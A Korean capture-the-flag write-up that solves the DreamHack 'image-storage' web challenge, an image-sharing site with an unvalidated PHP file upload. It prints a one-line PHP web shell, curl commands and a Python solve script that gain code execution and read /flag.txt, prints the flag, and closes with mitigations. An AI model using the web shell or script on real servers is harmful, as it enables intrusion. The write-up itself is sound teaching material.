[๐Ÿฅ‰ Bronze 4] ๊ฒ€์ฆ ์—†๋Š” ํŒŒ์ผ ์—…๋กœ๋“œ โ€” PHP ์›น์…ธ ํ•œ ์ค„๋กœ RCE โ€” DreamHack image-storage ํ’€์ด

2026-06-22ยท1๋ถ„ ์ฝ๊ธฐยท

[๐Ÿฅ‰ Bronze 4] ๊ฒ€์ฆ ์—†๋Š” ํŒŒ์ผ ์—…๋กœ๋“œ โ€” PHP ์›น์…ธ ํ•œ ์ค„๋กœ RCE โ€” DreamHack image-storage ํ’€์ด

์ด๋ฏธ์ง€ ๊ณต์œ  ์‚ฌ์ดํŠธ์ธ๋ฐ ์—…๋กœ๋“œ ํŒŒ์ผ์˜ ํ™•์žฅ์ž๋„ MIME๋„ ๊ฒ€์‚ฌํ•˜์ง€ ์•Š๋Š”๋‹ค. `<?php system($_GET['cmd']); ?>` ํ•œ ์ค„์งœ๋ฆฌ ์›น์…ธ์„ shell.php๋กœ ์˜ฌ๋ฆฌ๋ฉด ์—…๋กœ๋“œ ๋””๋ ‰ํ† ๋ฆฌ์— ๊ทธ๋Œ€๋กœ ์ €์žฅ๋˜๊ณ , ๊ทธ URL์„ ์ง์ ‘ ์—ด๋ฉด PHP๊ฐ€ ์‹คํ–‰๋ผ RCE๊ฐ€ ๋œ๋‹ค. www-data ์…ธ๋กœ ๋ฃจํŠธ์˜ flag.txt๋ฅผ ์ฝ์—ˆ๋‹ค.

๋ฌธ์ œ: DreamHack โ€” image-storage ๋ถ„๋ฅ˜: Web ๋‚œ์ด๋„: ๐Ÿฅ‰ Bronze 4 FLAG: DH{c29f44ea17b29d8b76001f32e8997bab}

"Upload and Share Image !" ํ•œ ์ค„์ด ์ „๋ถ€์ธ ์ด๋ฏธ์ง€ ๊ณต์œ  ์‚ฌ์ดํŠธ๋‹ค. ์—…๋กœ๋“œ ํผ๊ณผ ๋ชฉ๋ก ํŽ˜์ด์ง€๋ฐ–์— ์—†๋Š”๋ฐ, ์ •์ž‘ ์—…๋กœ๋“œํ•œ ํŒŒ์ผ์ด ๋ฌด์—‡์ธ์ง€ ์„œ๋ฒ„๊ฐ€ ์ „ํ˜€ ํ™•์ธํ•˜์ง€ ์•Š๋Š”๋‹ค.

๋ฉ”์ธ โ€” Image Storage
๋ฉ”์ธ โ€” Image Storage


๋ฌธ์ œ ๊ฐœ์š”

ํ•ญ๋ชฉ๋‚ด์šฉ
๋ฌธ์ œ๋ช…image-storage
๋‚œ์ด๋„๐Ÿฅ‰ Bronze 4
๋ถ„๋ฅ˜Web (File Upload โ†’ RCE)
์ œ๊ณตPHP ์†Œ์Šค 3๊ฐœ + ์„œ๋ฒ„
ํ•ต์‹ฌ ์ทจ์•ฝ์ ํ™•์žฅ์žยทMIME ๊ฒ€์ฆ ์—†๋Š” ํŒŒ์ผ ์—…๋กœ๋“œ โ†’ ์›น์…ธ ์‹คํ–‰

ํŽ˜์ด์ง€๋Š” ์…‹๋ฟ์ด๋‹ค. index.php(์†Œ๊ฐœ), upload.php(์—…๋กœ๋“œ), list.php(์—…๋กœ๋“œ๋œ ํŒŒ์ผ ๋ชฉ๋ก). ์—…๋กœ๋“œ ํ•ธ๋“ค๋Ÿฌ๊ฐ€ ํŒŒ์ผ ์ด๋ฆ„๊ณผ ํ™•์žฅ์ž๋ฅผ ๊ทธ๋Œ€๋กœ ๋ฐ›์•„ ์›น ๋””๋ ‰ํ† ๋ฆฌ์— ์ €์žฅํ•˜๋ฏ€๋กœ, ์ด๋ฏธ์ง€๊ฐ€ ์•„๋‹ˆ๋ผ PHP ํŒŒ์ผ์„ ์˜ฌ๋ ค๋„ ๋ง‰ํžˆ์ง€ ์•Š๋Š”๋‹ค. ์˜ฌ๋ฆฐ ํŒŒ์ผ์ด ./uploads/ ์•„๋ž˜์— ๊ทธ๋Œ€๋กœ ๋†“์ด๊ณ  ๊ทธ ๊ฒฝ๋กœ๋กœ ๋ฐ”๋กœ ์ ‘๊ทผ๋˜๋‹ˆ, ๊ทธ๊ฒŒ ๊ณง ์ฝ”๋“œ ์‹คํ–‰์ด๋‹ค.



๐Ÿงฉ ๋ฐฐ๊ฒฝ โ€” PHP ํŒŒ์ผ ์—…๋กœ๋“œ์™€ ์›น์…ธ

PHP์—์„œ ์—…๋กœ๋“œ ํŒŒ์ผ์„ ๋ฐ›๋Š” ํ‘œ์ค€ ํ•จ์ˆ˜๋Š” move_uploaded_file($tmp, $dest)๋‹ค. ํด๋ผ์ด์–ธํŠธ๊ฐ€ ๋ณด๋‚ธ ์ž„์‹œ ํŒŒ์ผ์„ $dest ๊ฒฝ๋กœ๋กœ ์˜ฎ๊ธด๋‹ค. ์ด๋•Œ $dest๋ฅผ ๋งŒ๋“ค ๋•Œ ์‚ฌ์šฉ์ž๊ฐ€ ๋ณด๋‚ธ ํŒŒ์ผ๋ช…์„ ๊ทธ๋Œ€๋กœ ๋ถ™์ด๋ฉด, ํ™•์žฅ์ž๊นŒ์ง€ ๊ณต๊ฒฉ์ž๊ฐ€ ์ •ํ•˜๊ฒŒ ๋œ๋‹ค.

move_uploaded_file($tmp_name, $directory . $name);   // $name = ํด๋ผ์ด์–ธํŠธ๊ฐ€ ๋ณด๋‚ธ ์ด๋ฆ„

๋ฌธ์ œ๋Š” PHP๊ฐ€ ์š”์ฒญ๋œ .php ํŒŒ์ผ์„ ์ฝ”๋“œ๋กœ ์‹คํ–‰ํ•œ๋‹ค๋Š” ์ ์ด๋‹ค. ์›น ์„œ๋ฒ„ ์„ค์ •์—์„œ .php๊ฐ€ PHP ํ•ธ๋“ค๋Ÿฌ์— ๋งคํ•‘๋ผ ์žˆ์œผ๋ฉด, ์ •์  ํŒŒ์ผ์ฒ˜๋Ÿผ ๋‚ด์šฉ์„ ๋ณด์—ฌ์ฃผ๋Š” ๊ฒŒ ์•„๋‹ˆ๋ผ ๊ทธ ์•ˆ์˜ ์ฝ”๋“œ๋ฅผ ๋Œ๋ฆฐ๋‹ค. ๊ทธ๋ž˜์„œ ์—…๋กœ๋“œ ๋””๋ ‰ํ† ๋ฆฌ๊ฐ€

  • ์›น์—์„œ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•˜๊ณ  (/uploads/...๋กœ URL์ด ์—ด๋ฆฌ๊ณ )
  • ๊ทธ ๋””๋ ‰ํ† ๋ฆฌ์—์„œ PHP ์‹คํ–‰์ด ์ผœ์ ธ ์žˆ๊ณ 
  • ํŒŒ์ผ๋ช…์„ ๊ณต๊ฒฉ์ž๊ฐ€ ์ •ํ•  ์ˆ˜ ์žˆ์œผ๋ฉด

์—…๋กœ๋“œ ๊ธฐ๋Šฅ ํ•˜๋‚˜๊ฐ€ ๊ทธ๋Œ€๋กœ ์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰ ํ†ต๋กœ๊ฐ€ ๋œ๋‹ค. ์ด๋•Œ ์˜ฌ๋ฆฌ๋Š” ์ž‘์€ PHP ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์›น์…ธ์ด๋ผ๊ณ  ๋ถ€๋ฅธ๋‹ค. ๊ฐ€์žฅ ํ”ํ•œ ํ˜•ํƒœ๊ฐ€ ์š”์ฒญ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์…ธ ๋ช…๋ น์œผ๋กœ ์‹คํ–‰ํ•˜๋Š” ํ•œ ์ค„์งœ๋ฆฌ๋‹ค.

<?php system($_GET['cmd']); ?>

์ด ํŒŒ์ผ์„ shell.php๋กœ ์˜ฌ๋ฆฐ ๋’ค shell.php?cmd=id๋กœ ์ ‘๊ทผํ•˜๋ฉด, ์„œ๋ฒ„์—์„œ id๊ฐ€ ์‹คํ–‰๋˜๊ณ  ๊ทธ ์ถœ๋ ฅ์ด ์‘๋‹ต์œผ๋กœ ๋Œ์•„์˜จ๋‹ค.


๐Ÿ”ฌ ์ฝ”๋“œ ์ •์ฐฐ

์ œ๊ณต๋œ ์†Œ์Šค๋Š” ์„ธ ๊ฐœ๋ฟ์ด๋ผ ์ „๋ถ€ ํ›‘์–ด๋ณธ๋‹ค.

upload.php โ€” ๊ฒ€์ฆ์ด ์—†๋Š” ์—…๋กœ๋“œ ํ•ธ๋“ค๋Ÿฌ

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
  if (isset($_FILES)) {
    $directory = './uploads/';
    $file = $_FILES["file"];
    $error = $file["error"];
    $name = $file["name"];
    $tmp_name = $file["tmp_name"];
 
    if ( $error > 0 ) {
      echo "Error: " . $error . "<br>";
    } else {
      if (file_exists($directory . $name)) {
        echo $name . " already exists. ";
      } else {
        if (move_uploaded_file($tmp_name, $directory . $name)) {
          echo "Stored in: " . $directory . $name;
        }
      }
    }
  }
}

ํ•ต์‹ฌ์€ ๊ฒ€์‚ฌ๋ผ๊ณ  ๋ถ€๋ฅผ ๋งŒํ•œ ๊ฒŒ ํ•˜๋‚˜๋„ ์—†๋‹ค๋Š” ์ ์ด๋‹ค. ํŒŒ์ผ๋ช… $name์„ ๊ฒ€์ฆํ•˜์ง€ ์•Š๊ณ , ํ™•์žฅ์ž ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ๋„ ์—†๊ณ , MIME ํƒ€์ž…($_FILES["file"]["type"])๋„ ๋ณด์ง€ ์•Š๊ณ , ์—…๋กœ๋“œ๋œ ๋‚ด์šฉ์ด ์‹ค์ œ ์ด๋ฏธ์ง€์ธ์ง€(getimagesize ๊ฐ™์€ ๊ฒ€์‚ฌ) ํ™•์ธํ•˜์ง€๋„ ์•Š๋Š”๋‹ค.

์˜ฌ๋ฆฐ ํŒŒ์ผ์€ ./uploads/ + ํด๋ผ์ด์–ธํŠธ๊ฐ€ ๋ณด๋‚ธ ์ด๋ฆ„์œผ๋กœ ์ €์žฅ๋˜๊ณ , ์ €์žฅ ๊ฒฝ๋กœ๊นŒ์ง€ ์‘๋‹ต์— ๊ทธ๋Œ€๋กœ ์ฐ์–ด์ค€๋‹ค. ์ฆ‰ ๋ฌด์—‡์„, ์–ด๋–ค ์ด๋ฆ„์œผ๋กœ ์˜ฌ๋ฆด์ง€ ์ „๋ถ€ ๋‚ด๊ฐ€ ์ •ํ•œ๋‹ค.

์—…๋กœ๋“œ ํผ
์—…๋กœ๋“œ ํผ

list.php โ€” ์˜ฌ๋ฆฐ ํŒŒ์ผ ๊ฒฝ๋กœ ํ™•์ธ์šฉ

$directory = './uploads/';
$scanned_directory = array_diff(scandir($directory), array('..', '.', 'index.html'));
foreach ($scanned_directory as $key => $value) {
    echo "<li><a href='{$directory}{$value}'>".$value."</a></li><br/>";
}

์—…๋กœ๋“œ ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ์Šค์บ”ํ•ด์„œ ๋งํฌ๋กœ ๋‚˜์—ดํ•  ๋ฟ์ด๋‹ค. ๊ณต๊ฒฉ์— ์ง์ ‘ ์“ฐ์ด์ง„ ์•Š์ง€๋งŒ, ๋‚ด๊ฐ€ ์˜ฌ๋ฆฐ ํŒŒ์ผ์ด ์‹ค์ œ๋กœ ./uploads/ ์•„๋ž˜์— ์ž๋ฆฌ ์žก์•˜๋Š”์ง€, ๊ทธ๋ฆฌ๊ณ  ์–ด๋–ค ๊ฒฝ๋กœ๋กœ ์ ‘๊ทผํ•˜๋ฉด ๋˜๋Š”์ง€ ํ™•์ธํ•˜๋Š” ๋ฐ ์“ธ ์ˆ˜ ์žˆ๋‹ค.

์ •๋ฆฌํ•˜๋ฉด ๊ณต๊ฒฉ ๋ชฉํ‘œ๋Š” ๋‹จ์ˆœํ•˜๋‹ค. upload.php๋กœ PHP ์›น์…ธ์„ ์˜ฌ๋ฆฌ๊ณ , list.php์—์„œ ๊ฒฝ๋กœ๋ฅผ ํ™•์ธํ•œ ๋’ค, /uploads/<์›น์…ธ>์„ ์ง์ ‘ ์—ด์–ด ๋ช…๋ น์„ ์‹คํ–‰ํ•œ๋‹ค.


โ–ถ๐Ÿ› flag ์œ„์น˜ ์ฐพ๊ธฐ โ€” /var/www/html ๋ถ€ํ„ฐ ๋ดค์ง€๋งŒ ๋ฃจํŠธ์— ์žˆ์—ˆ๋‹ค

์›น์…ธ๋กœ RCE๋ฅผ ์žก์€ ๋‹ค์Œ flag๊ฐ€ ์–ด๋”” ์žˆ๋Š”์ง€๋ถ€ํ„ฐ ์ฐพ์•„์•ผ ํ–ˆ๋‹ค. ์Šต๊ด€์ ์œผ๋กœ ์›น ๋ฃจํŠธ(/var/www/html)์™€ ๊ทธ ์ƒ์œ„๋ฅผ ๋จผ์ € ๋’ค์กŒ๋Š”๋ฐ ๊ฑฐ๊ธฐ์—” ์†Œ์Šค ํŒŒ์ผ๊ณผ uploads/๋ฟ์ด์—ˆ๋‹ค.

๋ฒ”์œ„๋ฅผ ๋„“ํ˜€ ls -al /์„ ์ฐ์–ด๋ณด๋‹ˆ flag๋Š” ํŒŒ์ผ์‹œ์Šคํ…œ ๋ฃจํŠธ์— flag.txt๋กœ ๋–กํ•˜๋‹ˆ ๋†“์—ฌ ์žˆ์—ˆ๋‹ค. ๊ถŒํ•œ๋„ -rw-r--r--(world-readable)๋ผ www-data ๊ถŒํ•œ์œผ๋กœ ๋ฐ”๋กœ ์ฝํ˜”๋‹ค. ๋ณ„๋„์˜ ๊ถŒํ•œ ์ƒ์Šน์ด ํ•„์š” ์—†๋Š” ๊ตฌ์„ฑ์ด์—ˆ๋‹ค.

๋ฃจํŠธ ๋””๋ ‰ํ† ๋ฆฌ โ€” /flag.txt ๋ฐœ๊ฒฌ
๋ฃจํŠธ ๋””๋ ‰ํ† ๋ฆฌ โ€” /flag.txt ๋ฐœ๊ฒฌ



๐Ÿ’ฃ ํ•ต์‹ฌ โ€” ์™œ ์—…๋กœ๋“œ๊ฐ€ ๊ณง RCE์ธ๊ฐ€

์ด ๋ฌธ์ œ์˜ ์ทจ์•ฝ์ ์€ ํ•œ ๋ฌธ์žฅ์œผ๋กœ ์ •๋ฆฌ๋œ๋‹ค. ๊ฒ€์ฆ ์—†๋Š” ์—…๋กœ๋“œ + ์›น์—์„œ ์‹คํ–‰๋˜๋Š” ์—…๋กœ๋“œ ๋””๋ ‰ํ† ๋ฆฌ = ์ž„์˜ ์ฝ”๋“œ ์‹คํ–‰. ๋‹จ๊ณ„๋กœ ํ’€๋ฉด ์ด๋ ‡๋‹ค.

๋ฌด๊ฒ€์ฆ ์—…๋กœ๋“œ๊ฐ€ RCE๊ฐ€ ๋˜๋Š” ๊ฒฝ๋กœ
๋ฌด๊ฒ€์ฆ ์—…๋กœ๋“œ๊ฐ€ RCE๊ฐ€ ๋˜๋Š” ๊ฒฝ๋กœ

upload.php๊ฐ€ ํŒŒ์ผ๋ช…์„ ๊ทธ๋Œ€๋กœ ๋ฐ›์•„ ./uploads/shell.php๋กœ ์ €์žฅํ•˜๊ณ , ๊ทธ ๋””๋ ‰ํ† ๋ฆฌ์—์„œ PHP๊ฐ€ ์‹คํ–‰๋˜๋‹ˆ, ์—…๋กœ๋“œ ์งํ›„ /uploads/shell.php๋ผ๋Š” URL์ด ์ƒ๊ธด๋‹ค. ์ด URL์„ ์—ฌ๋Š” ์ˆœ๊ฐ„ ์•ˆ์— ๋“  system($_GET['cmd'])๊ฐ€ ๋Œ์•„๊ฐ„๋‹ค. ์—…๋กœ๋“œ ํ•œ ๋ฒˆ๊ณผ GET ์š”์ฒญ ํ•œ ๋ฒˆ์ด๋ฉด ๋์ด๋‹ค.


๐ŸŽฏ ์ต์Šคํ”Œ๋กœ์ž‡

1. ์›น์…ธ ์—…๋กœ๋“œ

ํ•œ ์ค„์งœ๋ฆฌ ์›น์…ธ์„ ๋งŒ๋“ค์–ด upload.php์— ๊ทธ๋Œ€๋กœ POSTํ•œ๋‹ค.

echo '<?php system($_GET["cmd"]); ?>' > shell.php
curl -F "file=@shell.php" http://host3.dreamhack.games:21304/upload.php
# โ†’ Stored in: ./uploads/shell.php

์‘๋‹ต์ด Stored in: ./uploads/shell.php๋ผ ์ €์žฅ ๊ฒฝ๋กœ๊นŒ์ง€ ์•Œ๋ ค์ค€๋‹ค. list.php๋ฅผ ์—ด์–ด๋ณด๋ฉด ๋ชฉ๋ก์— shell.php๊ฐ€ ์˜ฌ๋ผ์˜จ ๊ฒƒ๋„ ํ™•์ธ๋œ๋‹ค.

list.php โ€” shell.php ์—…๋กœ๋“œ ํ™•์ธ
list.php โ€” shell.php ์—…๋กœ๋“œ ํ™•์ธ

2. RCE ํ™•์ธ

์ €์žฅ๋œ ๊ฒฝ๋กœ๋กœ ์ง์ ‘ ์ ‘๊ทผํ•˜๋ฉด์„œ cmd์— ๋ช…๋ น์„ ๋„˜๊ธด๋‹ค. ๋จผ์ € id๋กœ ์‹คํ–‰ ์ฃผ์ฒด๋ฅผ ๋ณธ๋‹ค.

curl "http://host3.dreamhack.games:21304/uploads/shell.php?cmd=id"
# โ†’ uid=33(www-data) gid=33(www-data) groups=33(www-data)

๋ธŒ๋ผ์šฐ์ €์—์„œ ๊ฐ™์€ URL์„ ์—ด๋ฉด ๊ฒฐ๊ณผ๊ฐ€ ํŽ˜์ด์ง€์— ๊ทธ๋Œ€๋กœ ์ฐํžŒ๋‹ค. ์ฃผ์†Œ์ฐฝ์˜ ?cmd=id๊ฐ€ ์„œ๋ฒ„์—์„œ ์‹คํ–‰๋ผ www-data๋กœ ๋Œ์•„์˜จ๋‹ค.

์›น์…ธ RCE โ€” ?cmd=id
์›น์…ธ RCE โ€” ?cmd=id

3. flag ํšŒ์ˆ˜

flag๋Š” ๋ฃจํŠธ์˜ flag.txt์˜€๊ณ  world-readable์ด๋ผ ๊ทธ๋Œ€๋กœ ์ฝํžŒ๋‹ค.

curl "http://host3.dreamhack.games:21304/uploads/shell.php?cmd=cat%20/flag.txt"
# โ†’ DH{c29f44ea17b29d8b76001f32e8997bab}

flag ํš๋“ โ€” cat /flag.txt
flag ํš๋“ โ€” cat /flag.txt


๐Ÿš€ Full Exploit

์—…๋กœ๋“œ โ†’ RCE ํ™•์ธ โ†’ flag ์ฝ๊ธฐ๊นŒ์ง€๋ฅผ ํ•œ ์Šคํฌ๋ฆฝํŠธ๋กœ ๋ฌถ์—ˆ๋‹ค. ์™ธ๋ถ€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์—†์ด ํ‘œ์ค€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋งŒ์œผ๋กœ multipart ์—…๋กœ๋“œ๋ฅผ ์ง์ ‘ ๋งŒ๋“ ๋‹ค.

#!/usr/bin/env python3
# image-storage โ€” ๋ฌด๊ฒ€์ฆ ์—…๋กœ๋“œ๋กœ PHP ์›น์…ธ์„ ์˜ฌ๋ ค RCE, /flag.txt ๋ฅผ ์ฝ๋Š”๋‹ค.
import sys, urllib.request, urllib.parse, uuid
 
BASE = sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:21304"
 
def post_file(url, field, filename, content, ctype="application/octet-stream"):
    boundary = "----wg" + uuid.uuid4().hex
    body  = f"--{boundary}\r\n".encode()
    body += f'Content-Disposition: form-data; name="{field}"; filename="{filename}"\r\n'.encode()
    body += f"Content-Type: {ctype}\r\n\r\n".encode()
    body += content + b"\r\n"
    body += f"--{boundary}--\r\n".encode()
    req = urllib.request.Request(url, data=body, method="POST",
        headers={"Content-Type": f"multipart/form-data; boundary={boundary}"})
    return urllib.request.urlopen(req, timeout=20).read().decode(errors="replace")
 
def run(cmd, shell="shell.php"):
    q = urllib.parse.urlencode({"cmd": cmd})
    return urllib.request.urlopen(f"{BASE}/uploads/{shell}?{q}", timeout=20).read().decode(errors="replace")
 
# 1) ์›น์…ธ ์—…๋กœ๋“œ โ€” ํ™•์žฅ์ž/MIME ๊ฒ€์ฆ์ด ์—†์–ด .php ๊ฐ€ ๊ทธ๋Œ€๋กœ ์ €์žฅ๋œ๋‹ค
shell = b"<?php system($_GET['cmd']); ?>"
print("[1] upload shell.php :", post_file(f"{BASE}/upload.php", "file", "shell.php", shell).strip())
 
# 2) RCE ํ™•์ธ
print("[2] id              :", run("id").strip())
 
# 3) flag ์œ„์น˜ ํƒ์ƒ‰ ํ›„ ์ฝ๊ธฐ
print("[3] ls / (flag?)    :", run("ls / | tr '\\n' ' '").strip())
print("[4] flag            :", run("cat /flag.txt").strip())

์‹คํ–‰ํ•˜๋ฉด ์—…๋กœ๋“œ๋ถ€ํ„ฐ flag๊นŒ์ง€ ํ•œ ๋ฒˆ์— ๋–จ์–ด์ง„๋‹ค.

solve.py ์‹คํ–‰ โ€” ์—…๋กœ๋“œ๋ถ€ํ„ฐ flag๊นŒ์ง€
solve.py ์‹คํ–‰ โ€” ์—…๋กœ๋“œ๋ถ€ํ„ฐ flag๊นŒ์ง€



๐Ÿ“ ๊ฒฐ๋ก 

ํŒŒ์ผ ์—…๋กœ๋“œ๋Š” "์ด๋ฆ„๊ณผ ๋‚ด์šฉ์„ ๊ณต๊ฒฉ์ž๊ฐ€ ์ •ํ•˜๋Š” ์ž…๋ ฅ"์ด๋‹ค.

์ด๋ฏธ์ง€ ๊ณต์œ ๋ผ๋Š” ํ‰๋ฒ”ํ•œ ๊ธฐ๋Šฅ์ด์ง€๋งŒ, ์„œ๋ฒ„๊ฐ€ ์˜ฌ๋ผ์˜จ ํŒŒ์ผ์„ ๊ฒ€์ฆํ•˜์ง€ ์•Š์œผ๋ฉด ๊ทธ ์ž์ฒด๋กœ ์ฝ”๋“œ ์‹คํ–‰ ํ†ต๋กœ๊ฐ€ ๋œ๋‹ค. ์ด ๋ฌธ์ œ๋Š” ํ™•์žฅ์žยทMIMEยท๋‚ด์šฉ ๊ฒ€์‚ฌ๊ฐ€ ์ „๋ถ€ ๋น ์ ธ ์žˆ์–ด .php ์›น์…ธ์ด ๊ทธ๋Œ€๋กœ ํ†ตํ–ˆ๋‹ค.

๋ง‰๋Š” ๋ฐฉ๋ฒ•์€ ์—ฌ๋Ÿฌ ๊ฒน์œผ๋กœ ์Œ“๋Š”๋‹ค.

ํ™•์žฅ์ž๋Š” ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ๊ฐ€ ์•„๋‹ˆ๋ผ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ๋กœ ๊ฒ€์‚ฌํ•œ๋‹ค(jpg, png, gif๋งŒ ํ—ˆ์šฉ). .php, .phtml, .php5 ๊ฐ™์€ ๋ณ€ํ˜•์ด ๋งŽ์•„ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ๋Š” ๋Š˜ ์ƒˆ์–ด ๋‚˜๊ฐ„๋‹ค.

์ €์žฅ ํŒŒ์ผ๋ช…์€ ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ๊ทธ๋Œ€๋กœ ์“ฐ์ง€ ๋ง๊ณ  ์„œ๋ฒ„๊ฐ€ ๋žœ๋คํ•˜๊ฒŒ ์ƒ์„ฑํ•œ๋‹ค. ํ™•์žฅ์ž๋„ ๊ฒ€์ฆ์„ ํ†ต๊ณผํ•œ ๊ฐ’์œผ๋กœ ๊ณ ์ •ํ•œ๋‹ค.

๊ฐ€์žฅ ํ™•์‹คํ•œ ๊ฑด ์—…๋กœ๋“œ ๋””๋ ‰ํ† ๋ฆฌ์—์„œ ์ฝ”๋“œ ์‹คํ–‰์„ ๋„๋Š” ๊ฒƒ์ด๋‹ค. nginx๋ผ๋ฉด location /uploads/์—์„œ PHP ํŒจ์Šค๋ฅผ ๋ง‰๊ณ , Apache๋ผ๋ฉด ํ•ด๋‹น ๋””๋ ‰ํ† ๋ฆฌ์— php_admin_flag engine off๋ฅผ ๋‘”๋‹ค. ์‹คํ–‰์ด ๋ถˆ๊ฐ€๋Šฅํ•˜๋ฉด ์›น์…ธ์„ ์˜ฌ๋ ค๋„ ๊ทธ๋ƒฅ ํ…์ŠคํŠธ ํŒŒ์ผ์ผ ๋ฟ์ด๋‹ค.

์—ฌ๊ธฐ์— ์—…๋กœ๋“œ ๋‚ด์šฉ์ด ์‹ค์ œ ์ด๋ฏธ์ง€์ธ์ง€(getimagesize)๊นŒ์ง€ ํ™•์ธํ•˜๋ฉด, ์ด๋Ÿฐ ๋‹จ์ˆœํ•œ ์—…๋กœ๋“œ RCE๋Š” ๋“ค์–ด์„ค ์ž๋ฆฌ๊ฐ€ ์—†๋‹ค.

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅ‰ Bronze 2] GIF ํด๋ฆฌ๊ธ€๋ž์œผ๋กœ PHP ์›น์…ธ ์—…๋กœ๋“œ โ€” DreamHack Image Uploader ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 2] GIF ํด๋ฆฌ๊ธ€๋ž์œผ๋กœ PHP ์›น์…ธ ์—…๋กœ๋“œ โ€” DreamHack Image Uploader ํ’€์ด

ํ™•์žฅ์ž์™€ MIME ํƒ€์ž… ๊ฒ€์‚ฌ๋ฅผ AND(&&)๋กœ ๋ฌถ์€ ์—…๋กœ๋”๋‹ค. ๋‘˜ ์ค‘ ํ•˜๋‚˜๋งŒ ํ†ต๊ณผํ•˜๋ฉด ๋˜๋Š” ํ—ˆ์ ์ด๋ผ, GIF89a ๋งค์ง๋ฐ”์ดํŠธ๋ฅผ ์•ž์— ๋ถ™์ธ .php ํŒŒ์ผ์ด image/gif ๋กœ ์ธ์‹๋ผ ๊ทธ๋Œ€๋กœ ์—…๋กœ๋“œ๋œ๋‹ค. ์›น์…ธ์„ ์˜ฌ๋ ค RCE๋กœ ํ”Œ๋ž˜๊ทธ๋ฅผ ์ฝ๋Š” ๊ณผ์ •์„ ์ •๋ฆฌํ–ˆ๋‹ค.
#dreamhack#ctf#web+6
2026-06-04#dreamhack +6
[๐Ÿฅ‰ Bronze 1] ํ™•์žฅ์ž๋งŒ .md๋ฉด ํ†ต๊ณผ โ€” ๋‚ด์šฉ์€ ์•„๋ฌด๋„ ์•ˆ ๋ดค๋‹ค, DreamHack Pearfect Markdown ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 1] ํ™•์žฅ์ž๋งŒ .md๋ฉด ํ†ต๊ณผ โ€” ๋‚ด์šฉ์€ ์•„๋ฌด๋„ ์•ˆ ๋ดค๋‹ค, DreamHack Pearfect Markdown ํ’€์ด

์‹ค์‹œ๊ฐ„์œผ๋กœ ๋งˆํฌ๋‹ค์šด์„ ๋ฏธ๋ฆฌ๋ณด๊ธฐ ํ•ด์ฃผ๋Š” ์•„์ฃผ ๋‹จ์ˆœํ•œ PHP ํŽ˜์ด์ง€. ์—…๋กœ๋“œ ๋ผ์šฐํŠธ๋Š” ํŒŒ์ผ ์ด๋ฆ„์˜ ํ™•์žฅ์ž๊ฐ€ .md์ธ์ง€๋งŒ ๊ฒ€์‚ฌํ•˜๊ณ , ๋ฏธ๋ฆฌ๋ณด๊ธฐ ๋ผ์šฐํŠธ๋Š” ๊ทธ ํŒŒ์ผ์„ include()๋กœ ๊ทธ๋Œ€๋กœ ๋ถˆ๋Ÿฌ์˜จ๋‹ค. ๋‘ ๋ผ์šฐํŠธ ๋ชจ๋‘ ๊ฐ์ž ๋ณด๋ฉด ๊ทธ๋Ÿด๋“ฏํ•œ ๋ฐฉ์–ด์ฒ˜๋Ÿผ ๋ณด์ด์ง€๋งŒ, ํ™•์žฅ์ž ๊ฒ€์‚ฌ๋Š” "๋‚ด์šฉ"์„ ์ „ํ˜€ ๋ณด์ง€ ์•Š๊ณ  include()๋Š” "ํ™•์žฅ์ž"๋ฅผ ์ „ํ˜€ ๊ฐ€๋ฆฌ์ง€ ์•Š๋Š”๋‹ค๋Š” ๊ฒŒ ๋ฌธ์ œ์˜€๋‹ค. ์ฒ˜์Œ์—” ๊ฒฝ๋กœtraversal๋กœ flag ํŒŒ์ผ์„ ์ง์ ‘ ์ฝ์œผ๋ ค ํ–ˆ์ง€๋งŒ ๋นŒ๋“œ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํŒŒ์ผ๋ช…์„ 32์ž ๋žœ๋ค ๋ฌธ์ž์—ด๋กœ ๋ฐ”๊ฟ”๋‘” ํƒ“์— ์‹คํŒจํ–ˆ๊ณ , ๊ฒฐ๊ตญ ์—…๋กœ๋“œํ•œ .md ํŒŒ์ผ ์•ˆ์— PHP ์ฝ”๋“œ๋ฅผ ์‹ฌ์–ด ์‹คํ–‰์‹œํ‚ค๋Š” ์ชฝ์œผ๋กœ ๋ฐฉํ–ฅ์„ ํ‹€์—ˆ๋‹ค.
#dreamhack#ctf#web+5
2026-07-21#dreamhack +5
[๐Ÿฅˆ Silver 1] Redis๊ฐ€ ๋ฐฅ ๋จน๋“ฏ ๋‚จ๊ธฐ๋Š” RDB๋กœ ์›น์…ธ์„ ๊ตฝ๋‹ค โ€” DreamHack phpMyRedis ํ’€์ด
blog

[๐Ÿฅˆ Silver 1] Redis๊ฐ€ ๋ฐฅ ๋จน๋“ฏ ๋‚จ๊ธฐ๋Š” RDB๋กœ ์›น์…ธ์„ ๊ตฝ๋‹ค โ€” DreamHack phpMyRedis ํ’€์ด

